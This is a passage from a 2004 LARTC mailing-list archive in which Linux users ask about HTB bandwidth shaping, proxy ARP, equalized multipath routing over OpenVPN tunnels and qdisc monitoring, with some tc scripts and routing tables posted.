iD8DBQFBa4JRkZz88chpJ2MRAjYtAJ9Go2fuTefXXdCR3jE2fSj4lo0sKACfTDOx
Sgd4ZtIArsMgQE5munz7CgE=
=/aGK
-----END PGP SIGNATURE-----

--Uzkapz4/HjIvV4VZ--

From zgiorgadze@gol.ge  Tue Oct 12 08:26:51 2004
From: zgiorgadze@gol.ge (Zviad O. Giorgadze)
Date: Tue, 12 Oct 2004 11:26:51 +0400
Subject: [LARTC] Is it possible to shape variable bandwidth?
Message-ID: <20041012072652.2BEF36CB720@mail.caucasus.net>

Hello LARTC,

Internet connection - ADSL, interface nas0 (115kbit guarantied, up to 1mbit possible. Depends on ISP load, impossible to guess).
Internal interface LAN, eth0.

Is it possible to successfully shape download traffic on eth0 using HTB?
Classes must have guarantied rate calculated from 115kbit possible rate (for example 3 classes) and the possibility to borrow up to 1mbit (depends on ISP side).
If it's impossible, than how to define additional class for excess bandwidth from 115kbit up to 1mbit?

Can be other classfull or classless qdisc used in this case?

Best regards, 
  
Zviad O. Giorgadze



From suman@banol.net  Tue Oct 12 11:04:08 2004
From: suman@banol.net (Suman Nag)
Date: Tue, 12 Oct 2004 16:04:08 +0600
Subject: [LARTC] To limit bandwidth
Message-ID: <200410120958.i9C9weJW006293@dns1.banol.net>

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01C4B075.1B0EE640
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

Dear ,

I m in new working in ISP . But I want to limit the bandwidth of our users .

For this I isntalled Fedora core 2 .

But I need the guide line as step by step to limit the bandwidth by tc.

Thanks

Suman

------=_NextPart_000_0000_01C4B075.1B0EE640
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
6.5.7036.0">
<TITLE>To limit bandwidth</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/rtf format -->

<P><FONT SIZE=3D2 FACE=3D"Comic Sans MS">Dear ,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Comic Sans MS">I m in new working in ISP . But =
I want to limit the bandwidth of our users .</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Comic Sans MS">For this I isntalled Fedora =
core 2 .</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Comic Sans MS">But I need the guide line as =
step by step to limit the bandwidth by tc.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Comic Sans MS">Thanks</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Comic Sans MS">Suman</FONT>
</P>

</BODY>
</HTML>
------=_NextPart_000_0000_01C4B075.1B0EE640--


From =?ISO-8859-1?Q?Jo=E3o_Acabado?= <jacabado@gmail.com>  Tue Oct 12 12:23:09 2004
From: =?ISO-8859-1?Q?Jo=E3o_Acabado?= <jacabado@gmail.com> (=?ISO-8859-1?Q?Jo=E3o_Acabado?=)
Date: Tue, 12 Oct 2004 12:23:09 +0100
Subject: [LARTC] (OFF-TOPIC Interface question) Is it possible to shape variable bandwidth?
Message-ID: <5ca23d9004101204232844b45f@mail.gmail.com>

Hi people I'm new to the mailing list, but I'll save my presentation
to another mail as I already have some strong questions. Now I just
faced this mail that arose me a question I had when "installing" my
qos.

> Internet connection - ADSL, interface nas0 (115kbit guarantied, up to 1mbit possible. Depends on ISP load, impossible to guess).
> Internal interface LAN, eth0.

I also have adsl, and my messy usb adsl modem installation gives me a
nas0 interface, so when I connect I have two interfaces 'ppp0' and
'nas0' that I could use as my Upload Interface(I don't know how to
name it, I use Jim diGriz's QoS script), is there any difference
between them? I'm using currently ppp0, should I change to nas0 ?

Thanks for everything, and I really mean everything :)

From steve@wcsl.net  Tue Oct 12 13:17:12 2004
From: steve@wcsl.net (Steve Wakelin)
Date: Tue, 12 Oct 2004 13:17:12 +0100
Subject: [LARTC] Equalize Patch
Message-ID: <29C0F5D644D2B8488B298EDA4ED193BD65FE@wcsls01.wcslnet.net>

There has been numerous threads etc regarding this but all that has left
me is more than a little confused :-(.

I have setup and environment consisting of two OpenVPN tunnels and wish
to load balance at the packet level between them.

I am currently running on=20

Linux edm 2.4.21-20.EL.c0custom #2 Tue Oct 12 08:52:23 BST 2004 i686
i686 i386 GNU/Linux

And have install Quagga at each end to provide me with Zebra and OSPF
which are configured and working as expected.

172.16.2.0/30 dev tap2  proto kernel  scope link  src 172.16.2.2
172.16.1.0/30 dev tap1  proto kernel  scope link  src 172.16.1.2
10.0.0.0/24  proto zebra  metric 20 equalize
        nexthop via 172.16.1.1  dev tap1 weight 1
        nexthop via 172.16.2.1  dev tap2 weight 1
192.168.18.0/24 dev eth2  proto kernel  scope link  src 192.168.18.4
192.168.17.0/24 dev eth1  proto kernel  scope link  src 192.168.17.4
192.168.16.0/24 via 192.168.18.3 dev eth2  proto zebra equalize
192.168.15.0/24 via 192.168.17.3 dev eth1  proto zebra equalize
10.100.0.0/24 dev eth0  proto kernel  scope link  src 10.100.0.1
169.254.0.0/16 dev eth2  scope link
default  proto zebra equalize
        nexthop via 192.168.17.3  dev eth1 weight 1
        nexthop via 192.168.18.3  dev eth2 weight 1

When I scp over from one end of the VPN tunnels to the other my
throughput is exactly halved rather than doubled as expected.

Pinging the tunnel and tcpdump'ing the devices show that only one of the
tap devices is being used and therefore I am assuming that the equalize
is not working as I had hoped.

Was the 2.4.18 equalize patch ever formally included in the later kernel
releases?  I can find no reference in
/usr/src/linux-2.4/Documentation/networking to the load_balancing.txt
file in the patch.

If not is there a later version of this available?

Has it been successfully incorporated into V2.6 kernel?

I can provide any further information about my setup if that will shed
any further light on my problems.

Many thanks in advance

Regards

/Steve

From alg0@iit.demokritos.gr  Tue Oct 12 14:32:38 2004
From: alg0@iit.demokritos.gr (Antonios Chalkiopoulos)
Date: Tue, 12 Oct 2004 16:32:38 +0300
Subject: [LARTC] Qdisc statistics project
Message-ID: <200410121632.38611.alg0@iit.demokritos.gr>

As a necessety for my job is to real-time monitor the bytes, packets, packet 
dropped etc of all the qdiscs working inside the kernel i've tried varius 
methods:

1. Parse tc -s command output and update a round robin database and use 
rrdtool to graphically display tc statistics.

[varius perl scripts exist for the above job]

2. Unsuccesfully tried QoS SNMP extensions, in order to use a new MIB to 
extract qdisc stats from.

There is also some work in the kernel level that will help reveal qdisc stats 
to userspace (thanks Thomas Graf)

To get to the point.. the perl parsing method is hackish and quick&dirty.
A proper open-source tc monitoring tool SHOULD exist ! Maybe inside iproute2 
maybe in sourceforge.

Are there any volunteers to start working on such a project? I could put 4-6 
weeks full time work on that... any suggestion for the most proper solution 
to the above problem is welcome.

Thanks,
Antonio  

From gypsy@iswest.com  Tue Oct 12 14:33:09 2004
From: gypsy@iswest.com (gypsy)
Date: Tue, 12 Oct 2004 06:33:09 -0700
Subject: [LARTC] Does anyone have a working proxyARP setup?
References: <41676C12.72F7D09D@iswest.com> <41679BE7.2030708@inv.cz> <416823E4.A8CCD2D0@iswest.com>
Message-ID: <416BDD15.BDAE0ED9@iswest.com>

gypsy wrote:
> 
> Martin Volf wrote:
> > I think you can't use x.x.x.96 here, because it is the address of your network
> > x.x.x.96/28. Useable ip addresses are .97 - .110. And you can't have the same
> > ip address and netmask on two interfaces. Use maybe 'netmask 255.255.255.255'
> > on one of them.
> 
> Could you please post the output of 'route -n', 'ip route' and 'ip neigh
> show' as well as any 'ip route [add|del|*]' commands you run?

I guess not.  Martin, is there some reason you do not wish to post these
things?

gypsy

From mv@inv.cz  Tue Oct 12 17:55:45 2004
From: mv@inv.cz (Martin Volf)
Date: Tue, 12 Oct 2004 18:55:45 +0200
Subject: [LARTC] Does anyone have a working proxyARP setup?
In-Reply-To: <416BDD15.BDAE0ED9@iswest.com>
References: <41676C12.72F7D09D@iswest.com> <41679BE7.2030708@inv.cz> <416823E4.A8CCD2D0@iswest.com> <416BDD15.BDAE0ED9@iswest.com>
Message-ID: <416C0C91.5090108@inv.cz>

gypsy wrote:
>>Could you please post the output of 'route -n', 'ip route' and 'ip neigh
>>show' as well as any 'ip route [add|del|*]' commands you run?
> 
> I guess not.  Martin, is there some reason you do not wish to post these
> things?

Hello,

sorry for the delay. I have used something like this:

router:
ifconfig eth0 172.16.7.42 netmask 255.255.255.0 broadcast 172.16.7.255
route add default gw 172.16.7.1
ifconfig eth1 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255
ifconfig eth2 192.168.1.1 netmask 255.255.255.255 -broadcast
route add -host 192.168.1.17 device eth2
route add -host 192.168.1.18 device eth2
route add -host 192.168.1.19 device eth2
echo 1 > /proc/sys/net/ipv4/conf/eth1/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/eth2/proxy_arp

The network 192.168.1.0/24 is divided into two parts, ip addresses 
192.168.1.17, .18, .19 are connected to eth2, other ip addresses to eth1.

192.168.1.17:
ifconfig eth0 192.168.1.17 netmask 255.255.255.0 broadcast 192.168.1.255
route add default gw 192.168.1.1

traceroute from 192.168.1.17 do 192.168.1.2:
  1  192.168.1.1  1.08 ms  0.73 ms  0.723 ms
  2  192.168.1.2  0.85 ms  0.77 ms  0.715 ms

"arp -an" at 192.168.1.17:
? (192.168.1.1) at 00:00:B4:9F:A4:58 [ether] on eth0
? (192.168.1.2) at 00:00:B4:9F:A4:58 [ether] on eth0
(note the same MAC address)

HTH,

-- 
Martin

From steve@wcsl.net  Tue Oct 12 18:58:22 2004
From: steve@wcsl.net (Steve Wakelin)
Date: Tue, 12 Oct 2004 18:58:22 +0100
Subject: [LARTC] Equalize Patch
Message-ID: <29C0F5D644D2B8488B298EDA4ED193BD6601@wcsls01.wcslnet.net>

Ah ha.

Now I know why it is not available, due to inefficiencies.

Thankfully TEQL supports tap devices and this to be sufficient as
thankfully I have Linux at both ends.


-----Original Message-----
From: lartc-admin@mailman.ds9a.nl [mailto:lartc-admin@mailman.ds9a.nl]
On Behalf Of Steve Wakelin
Sent: 12 October 2004 13:17
To: lartc@mailman.ds9a.nl
Subject: [LARTC] Equalize Patch

There has been numerous threads etc regarding this but all that has left
me is more than a little confused :-(.

I have setup and environment consisting of two OpenVPN tunnels and wish
to load balance at the packet level between them.

I am currently running on=20

Linux edm 2.4.21-20.EL.c0custom #2 Tue Oct 12 08:52:23 BST 2004 i686
i686 i386 GNU/Linux

And have install Quagga at each end to provide me with Zebra and OSPF
which are configured and working as expected.

172.16.2.0/30 dev tap2  proto kernel  scope link  src 172.16.2.2
172.16.1.0/30 dev tap1  proto kernel  scope link  src 172.16.1.2
10.0.0.0/24  proto zebra  metric 20 equalize
        nexthop via 172.16.1.1  dev tap1 weight 1
        nexthop via 172.16.2.1  dev tap2 weight 1
192.168.18.0/24 dev eth2  proto kernel  scope link  src 192.168.18.4
192.168.17.0/24 dev eth1  proto kernel  scope link  src 192.168.17.4
192.168.16.0/24 via 192.168.18.3 dev eth2  proto zebra equalize
192.168.15.0/24 via 192.168.17.3 dev eth1  proto zebra equalize
10.100.0.0/24 dev eth0  proto kernel  scope link  src 10.100.0.1
169.254.0.0/16 dev eth2  scope link
default  proto zebra equalize
        nexthop via 192.168.17.3  dev eth1 weight 1
        nexthop via 192.168.18.3  dev eth2 weight 1

When I scp over from one end of the VPN tunnels to the other my
throughput is exactly halved rather than doubled as expected.

Pinging the tunnel and tcpdump'ing the devices show that only one of the
tap devices is being used and therefore I am assuming that the equalize
is not working as I had hoped.

Was the 2.4.18 equalize patch ever formally included in the later kernel
releases?  I can find no reference in
/usr/src/linux-2.4/Documentation/networking to the load_balancing.txt
file in the patch.

If not is there a later version of this available?

Has it been successfully incorporated into V2.6 kernel?

I can provide any further information about my setup if that will shed
any further light on my problems.

Many thanks in advance

Regards

/Steve
_______________________________________________
LARTC mailing list / LARTC@mailman.ds9a.nl
http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/

From hariett.jones@wp.pl  Tue Oct 12 19:44:42 2004
From: hariett.jones@wp.pl (Hariett Jones)
Date: Tue, 12 Oct 2004 20:44:42 +0200
Subject: [LARTC] ssh and cs LAG
Message-ID: <416C261A.4010406@wp.pl>

I have htb on 486 sx with 16mb ram. Slackware 9.1. Connection : dsl 1Mbit.

486 works as router and trafic shaper for network made of 12 pc's. it 
does the job quite well, but when i play Counter-Strike or connect to my 
486 via ssh (on lan), i get huge lag every 11-20 sec. when i connect to 
486 via ssh and run iptraf program i see all the trafic, and after a 
while when lag comes the kb/s stats reset. and iptraf shows that there 
is only 50% bandwith usage. What could be the problem ?

root@gecon:/home/bernard# cat /etc/rc.d/rc.htb
#!/bin/sh
HIGHSPEED="19 "
CLIENTS="01 05 07 11 12 13 15 18 63"
SLOW="20 21 22"
htb_start() {
 echo "tc qdisc add dev eth1 root handle 1: htb default 12"
 tc qdisc add dev eth1 root handle 1: htb default 12
 echo "tc qdisc add dev eth0 root handle 2: tbf rate 230kbit latency 
50ms burst 1540"
 tc qdisc add dev eth0 root handle 2: tbf rate 230kbit latency 50ms 
burst 1540
 echo "tc class add dev eth1 parent 1: classid 1:1 htb rate 1000kbit 
ceil 1000kbit"
 tc class add dev eth1 parent 1: classid 1:1 htb rate 1000kbit ceil 
1000kbit
#  tc class add dev eth1 parent 1: classid 1:2 htb rate 200kbit ceil 200kbit

 echo "Ustawianie klas"
 for IP in $HIGHSPEED; do
   echo "tc class add dev eth1 parent 1:1 classid 1:1${IP} htb rate 
500kbit ceil 1000kbit"
   tc class add dev eth1 parent 1:1 classid 1:1${IP} htb rate 500kbit 
ceil 1000kbit
#    tc class add dev eth1 parent 1:2 classid 1:2${IP} htb rate 20kbit 
ceil 20kbit
 done
 
 for IP in $CLIENTS; do
   echo "tc class add dev eth1 parent 1:1 classid 1:1${IP} htb rate 
100kbit ceil 1000kbit"
   tc class add dev eth1 parent 1:1 classid 1:1${IP} htb rate 100kbit 
ceil 1000kbit
#    tc class add dev eth1 parent 1:2 classid 1:2${IP} htb rate 20kbit 
ceil 20kbit
 done

 for IP in $SLOW; do
   echo "tc class add dev eth1 parent 1:1 classid 1:1${IP} htb rate 
50kbit ceil 1000kbit"
   tc class add dev eth1 parent 1:1 classid 1:1${IP} htb rate 50kbit 
ceil 1000kbit
 done
 # dla niezakwalifikowanych gdzie indziej
 echo "tc class add dev eth1 parent 1:1 classid 1:100 htb rate 50kbit 
ceil 50kbit quantum 4"
 tc class add dev eth1 parent 1:1 classid 1:100 htb rate 50kbit ceil 
50kbit quantum 4
#  tc class add dev eth1 parent 1:2 classid 1:200 htb rate 10kbit ceil 
10kbit

 echo "Ustawianie filtrów i SFQ"
 for IP in $HIGHSPEED; do
   echo "tc filter add dev eth1 protocol ip parent 1: prio 2 u32 match 
ip dst 192.168.0.1${IP} flowid 1:1${IP}"
   tc filter add dev eth1 protocol ip parent 1: prio 2 u32 match ip dst 
192.168.0.1${IP} flowid 1:1${IP}
#    tc filter add dev eth1 protocol ip parent 1: prio 2 u32 match ip 
src 192.168.0.1${IP} flowid 1:2${IP}
   echo "tc qdisc add dev eth1 parent 1:1${IP} handle 1${IP}:0 sfq 
perturb 10"
   tc qdisc add dev eth1 parent 1:1${IP} handle 1${IP}:0 sfq perturb 10
#    tc qdisc add dev eth1 parent 1:2${IP} handle 2${IP}:0 sfq perturb 10
 done

 for IP in $CLIENTS; do
   echo "tc filter add dev eth1 protocol ip parent 1: prio 2 u32 match 
ip dst 192.168.0.1${IP} flowid 1:1${IP}"
   tc filter add dev eth1 protocol ip parent 1: prio 2 u32 match ip dst 
192.168.0.1${IP} flowid 1:1${IP}
#    tc filter add dev eth1 protocol ip parent 1: prio 2 u32 match ip 
src 192.168.0.1${IP} flowid 1:2${IP}
   echo "tc qdisc add dev eth1 parent 1:1${IP} handle 1${IP}:0 sfq 
perturb 10"
   tc qdisc add dev eth1 parent 1:1${IP} handle 1${IP}:0 sfq perturb 10
#    tc qdisc add dev eth1 parent 1:2${IP} handle 2${IP}:0 sfq perturb 10
 done
 for IP in $SLOW; do
   echo "tc filter add dev eth1 protocol ip parent 1: prio 2 u32 match 
ip dst 192.168.0.1${IP} flowid 1:1${IP}"
   tc filter add dev eth1 protocol ip parent 1: prio 2 u32 match ip dst 
192.168.0.1${IP} flowid 1:1${IP}
#    tc filter add dev eth1 protocol ip parent 1: prio 2 u32 match ip 
src 192.168.0.1${IP} flowid 1:2${IP}
   echo "tc qdisc add dev eth1 parent 1:1${IP} handle 1${IP}:0 sfq 
perturb 10"
   tc qdisc add dev eth1 parent 1:1${IP} handle 1${IP}:0 sfq perturb 10
 done
 echo "tc filter add dev eth1 protocol ip parent 1: prio 3 u32 match ip 
dst 192.168.0.0/24 flowid 1:100"
 tc filter add dev eth1 protocol ip parent 1: prio 3 u32 match ip dst 
192.168.0.0/24 flowid 1:100
#  tc filter add dev eth1 protocol ip parent 1: prio 3 u32 match ip src 
192.168.0.0/24 flowid 1:200
 echo "tc qdisc add dev eth1 parent 1:100 handle 100:0 sfq perturb 10"
#  tc qdisc add dev eth1 parent 1:200 handle 200:0 sfq perturb 10
}

htb_stop() {
 echo "tc qdisc del dev eth1 root"
 tc qdisc del dev eth1 root
 echo "tc qdisc del dev eth0 root"
 tc qdisc del dev eth0 root
}

case "$1" in
'start')
 htb_start
 ;;
'stop')
 htb_stop
 ;;
'restart')
 htb_stop
 htb_start
 ;;
*)
 echo "usage $0 start|stop|restart"




From stef.coene@docum.org  Tue Oct 12 20:25:58 2004
From: stef.coene@docum.org (Stef Coene)
Date: Tue, 12 Oct 2004 21:25:58 +0200
Subject: [LARTC] To limit bandwidth
In-Reply-To: <200410120958.i9C9weJW006293@dns1.banol.net>
References: <200410120958.i9C9weJW006293@dns1.banol.net>
Message-ID: <200410122125.58749.stef.coene@docum.org>

On Tuesday 12 October 2004 12:04, Suman Nag wrote:
> Dear ,
>
> I m in new working in ISP . But I want to limit the bandwidth of our users
> .
>
> For this I isntalled Fedora core 2 .
>
> But I need the guide line as step by step to limit the bandwidth by tc.
There is no step by step guide, only a bunch of websites like lartc.org and=
/or=20
docum.org and/or google.com.

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From john@zavgren.com  Tue Oct 12 20:36:27 2004
From: john@zavgren.com (John Zavgren)
Date: Tue, 12 Oct 2004 15:36:27 -0400
Subject: [LARTC] Traffic Control software port for linux 2.6.X?
Message-ID: <416C323B.2000503@zavgren.com>

This is a cryptographically signed message in MIME format.

--------------ms030508070206080806080101
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Is there a port of this code availble for testing purposes?

Thanks
john@zavgren.com

--------------ms030508070206080806080101
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIINMjCC
A2IwggLLoAMCAQICEAvaCxfBP4mOqwl0erTOLjMwDQYJKoZIhvcNAQECBQAwXzELMAkGA1UE
BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1Ymxp
YyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk4MDUxMjAwMDAwMFoXDTA4
MDUxMjIzNTk1OVowgcwxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJp
U2lnbiBUcnVzdCBOZXR3b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3JlcG9zaXRv
cnkvUlBBIEluY29ycC4gQnkgUmVmLixMSUFCLkxURChjKTk4MUgwRgYDVQQDEz9WZXJpU2ln
biBDbGFzcyAxIENBIEluZGl2aWR1YWwgU3Vic2NyaWJlci1QZXJzb25hIE5vdCBWYWxpZGF0
ZWQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALtaRIoEFrtV/QN6ii2UTxV4NrgNSrJv
nFS/vOh3Kp258Gi7ldkxQXB6gUu5SBNWLccI4YRCq8CikqtEXKpC8IIOAukv+8I7u77JJwpd
trA2QjO1blSIT4dKvxna+RXoD4e2HOPMxpqOf2okkuP84GW6p7F+78nbN2rISsgJBuSZAgMB
AAGjgbAwga0wDwYDVR0TBAgwBgEB/wIBADBHBgNVHSAEQDA+MDwGC2CGSAGG+EUBBwEBMC0w
KwYIKwYBBQUHAgEWH3d3dy52ZXJpc2lnbi5jb20vcmVwb3NpdG9yeS9SUEEwMQYDVR0fBCow
KDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMS5jcmwwCwYDVR0PBAQDAgEG
MBEGCWCGSAGG+EIBAQQEAwIBBjANBgkqhkiG9w0BAQIFAAOBgQACfZ5vRUs4oLje6VNkIbzk
TCuPHv6SQKzYCjlqoTIhLAebq1n+0mIafVU4sDdz3PQHZmNiveFTcFKH56jYUulbLarh3s+s
MVTUixnI2COo7wQrMn0sGBzIfImoLnfyRNFlCk10te7TG5JzdC6JOzUTcudAMZrTssSr51a+
i+P7FTCCBOIwggRLoAMCAQICEECSCVRHJC9tYapP/RS+jJowDQYJKoZIhvcNAQEEBQAwgcwx
FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3
b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvUlBBIEluY29ycC4g
QnkgUmVmLixMSUFCLkxURChjKTk4MUgwRgYDVQQDEz9WZXJpU2lnbiBDbGFzcyAxIENBIElu
ZGl2aWR1YWwgU3Vic2NyaWJlci1QZXJzb25hIE5vdCBWYWxpZGF0ZWQwHhcNMDQwOTI5MDAw
MDAwWhcNMDQxMTI4MjM1OTU5WjCCAQIxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYD
VQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29t
L3JlcG9zaXRvcnkvUlBBIEluY29ycC4gYnkgUmVmLixMSUFCLkxURChjKTk4MR4wHAYDVQQL
ExVQZXJzb25hIE5vdCBWYWxpZGF0ZWQxJjAkBgNVBAsTHURpZ2l0YWwgSUQgQ2xhc3MgMSAt
IE5ldHNjYXBlMRUwEwYDVQQDFAxKb2huIFphdmdyZW4xHzAdBgkqhkiG9w0BCQEWEGpvaG5A
emF2Z3Jlbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDCZ/HXCSdhH46M
3wTsRq1MSIRVGNok+1lxQd5UBBhk3M8WHJF/c35L1G7ShjBAy0bM3k9522B4YGKodu/SaUK/
jIB6e1XdvRIdWvX/69Wyvn+NKrND605qQissJpsQQnCyKCB+TtSifgEsvI+RYAVM2U/T1OfX
fdExMBqKSiDpL0+9RSfPopDbeDUQ1jjohK0Jr4q1mEbJbKIVYbZTX4PMYYlzyrWVlefMz+fM
dX8/xbFJ+XIA2aWsuBO5MSUZQVUl72VXJD4wxWkDM4Jj2RMTvEFJA3rPQSUGKeysdyPAuv4E
vZ31C99rFvD6WFKb8whTz67kLVc4G7pTEPjC4U+DAgMBAAGjggEGMIIBAjAJBgNVHRMEAjAA
MIGsBgNVHSAEgaQwgaEwgZ4GC2CGSAGG+EUBBwEBMIGOMCgGCCsGAQUFBwIBFhxodHRwczov
L3d3dy52ZXJpc2lnbi5jb20vQ1BTMGIGCCsGAQUFBwICMFYwFRYOVmVyaVNpZ24sIEluYy4w
AwIBARo9VmVyaVNpZ24ncyBDUFMgaW5jb3JwLiBieSByZWZlcmVuY2UgbGlhYi4gbHRkLiAo
Yyk5NyBWZXJpU2lnbjARBglghkgBhvhCAQEEBAMCB4AwMwYDVR0fBCwwKjAooCagJIYiaHR0
cDovL2NybC52ZXJpc2lnbi5jb20vY2xhc3MxLmNybDANBgkqhkiG9w0BAQQFAAOBgQCsKApn
awJ2V7USGNbPHLtbVtVVDqy8lQ6eeiobsUQA8uTeZy6Eqi9i3Igc9QE2sgLOeV0JVegeomdh
2lvQrKQQ9Z5CABH0Ue6EagSg8B4fGNxL9+JP8py7SjGqPgsAXMqh4jJshXYl/7/7HpxYfdCJ
/peQxixK00ajseENOIsvhDCCBOIwggRLoAMCAQICEECSCVRHJC9tYapP/RS+jJowDQYJKoZI
hvcNAQEEBQAwgcwxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2ln
biBUcnVzdCBOZXR3b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkv
UlBBIEluY29ycC4gQnkgUmVmLixMSUFCLkxURChjKTk4MUgwRgYDVQQDEz9WZXJpU2lnbiBD
bGFzcyAxIENBIEluZGl2aWR1YWwgU3Vic2NyaWJlci1QZXJzb25hIE5vdCBWYWxpZGF0ZWQw
HhcNMDQwOTI5MDAwMDAwWhcNMDQxMTI4MjM1OTU5WjCCAQIxFzAVBgNVBAoTDlZlcmlTaWdu
LCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUYwRAYDVQQLEz13d3cu
dmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvUlBBIEluY29ycC4gYnkgUmVmLixMSUFCLkxURChj
KTk4MR4wHAYDVQQLExVQZXJzb25hIE5vdCBWYWxpZGF0ZWQxJjAkBgNVBAsTHURpZ2l0YWwg
SUQgQ2xhc3MgMSAtIE5ldHNjYXBlMRUwEwYDVQQDFAxKb2huIFphdmdyZW4xHzAdBgkqhkiG
9w0BCQEWEGpvaG5AemF2Z3Jlbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDCZ/HXCSdhH46M3wTsRq1MSIRVGNok+1lxQd5UBBhk3M8WHJF/c35L1G7ShjBAy0bM3k95
22B4YGKodu/SaUK/jIB6e1XdvRIdWvX/69Wyvn+NKrND605qQissJpsQQnCyKCB+TtSifgEs
vI+RYAVM2U/T1OfXfdExMBqKSiDpL0+9RSfPopDbeDUQ1jjohK0Jr4q1mEbJbKIVYbZTX4PM
YYlzyrWVlefMz+fMdX8/xbFJ+XIA2aWsuBO5MSUZQVUl72VXJD4wxWkDM4Jj2RMTvEFJA3rP
QSUGKeysdyPAuv4EvZ31C99rFvD6WFKb8whTz67kLVc4G7pTEPjC4U+DAgMBAAGjggEGMIIB
AjAJBgNVHRMEAjAAMIGsBgNVHSAEgaQwgaEwgZ4GC2CGSAGG+EUBBwEBMIGOMCgGCCsGAQUF
BwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vQ1BTMGIGCCsGAQUFBwICMFYwFRYOVmVy
aVNpZ24sIEluYy4wAwIBARo9VmVyaVNpZ24ncyBDUFMgaW5jb3JwLiBieSByZWZlcmVuY2Ug
bGlhYi4gbHRkLiAoYyk5NyBWZXJpU2lnbjARBglghkgBhvhCAQEEBAMCB4AwMwYDVR0fBCww
KjAooCagJIYiaHR0cDovL2NybC52ZXJpc2lnbi5jb20vY2xhc3MxLmNybDANBgkqhkiG9w0B
AQQFAAOBgQCsKApnawJ2V7USGNbPHLtbVtVVDqy8lQ6eeiobsUQA8uTeZy6Eqi9i3Igc9QE2
sgLOeV0JVegeomdh2lvQrKQQ9Z5CABH0Ue6EagSg8B4fGNxL9+JP8py7SjGqPgsAXMqh4jJs
hXYl/7/7HpxYfdCJ/peQxixK00ajseENOIsvhDGCBKowggSmAgEBMIHhMIHMMRcwFQYDVQQK
Ew5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFGMEQG
A1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5L1JQQSBJbmNvcnAuIEJ5IFJlZi4s
TElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24gQ2xhc3MgMSBDQSBJbmRpdmlkdWFs
IFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVkAhBAkglURyQvbWGqT/0UvoyaMAkG
BSsOAwIaBQCgggKdMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8X
DTA0MTAxMjE5MzYyN1owIwYJKoZIhvcNAQkEMRYEFEvZW0Ctr1/y/zTnECbiTWk4WJRBMFIG
CSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMC
AgFAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIHyBgkrBgEEAYI3EAQxgeQwgeEwgcwxFzAV
BgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3Jr
MUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvUlBBIEluY29ycC4gQnkg
UmVmLixMSUFCLkxURChjKTk4MUgwRgYDVQQDEz9WZXJpU2lnbiBDbGFzcyAxIENBIEluZGl2
aWR1YWwgU3Vic2NyaWJlci1QZXJzb25hIE5vdCBWYWxpZGF0ZWQCEECSCVRHJC9tYapP/RS+
jJowgfQGCyqGSIb3DQEJEAILMYHkoIHhMIHMMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEf
